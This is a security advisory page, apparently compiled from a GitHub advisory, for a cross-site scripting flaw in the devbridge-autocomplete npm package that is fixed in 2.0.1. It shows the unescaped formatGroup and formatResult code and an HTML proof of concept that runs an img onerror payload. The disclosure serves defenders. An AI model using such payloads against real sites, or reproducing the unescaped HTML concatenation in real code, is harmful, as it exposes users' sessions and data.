devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult…
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Cross-site scripting
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-79.
Summary
### Summary The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source. ### Details **1. `formatGroup` — `category` is interpolated raw.** `src/format.ts`: ```ts function formatGroup(suggestion, category) { return '<div class="autocomplete-group">' + category + '</div>'; } ``` If `groupBy` is used and the grouping field of any suggestion contains HTML, that HTML is executed. **2. `formatResult` — early-return branch returns `suggestion.value` raw.** `src/format.ts`: ```ts function formatResult(suggestion, currentValue) { if (!currentValue) { return suggestion.value; // un-escaped } /* ... non-empty path escapes correctly ... */ } ``` The early-return branch is reached when `suggest()` renders with an empty `currentValue`, which happens with `minChars: 0` and a server that returns suggestions for an empty query. The returned string is concatenated into the container's `innerHTML`. ### PoC (formatGroup) ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title> </head> <body> <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off"> <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script> <script src="dist/jquery.autocomplete.js"></script> <script> var poisoned = [ { value: 'Apple', data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } }, { value: 'Avocado', data: { category: 'Safe Group' } } ]; $('#ac').devbridgeAutocomplete({ lookup: poisoned, groupBy: 'category', minChars: 1 }); </script> </body> </html> ``` Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7. ### Impact XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS. ### Patch Both formatters now run their interpolated input through the browser's text-node escaping (`createElement` + `textContent`) before producing the HTML string. Fixed in version `2.0.1`.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | devbridge-autocomplete (npm) | before 2.0.1 | 2.0.1 | Patch available | GHSA-hvqh-jw65-wcpq |
- devbridge-autocomplete (npm) Vendor— Affected before 2.0.1 Fixed in 2.0.1 Patch available GHSA-hvqh-jw65-wcpq
Remediation
- Fix · GHSA-hvqh-jw65-wcpq devbridge-autocomplete (npm) Fixed in 2.0.1 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-hvqh-jw65-wcpq
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences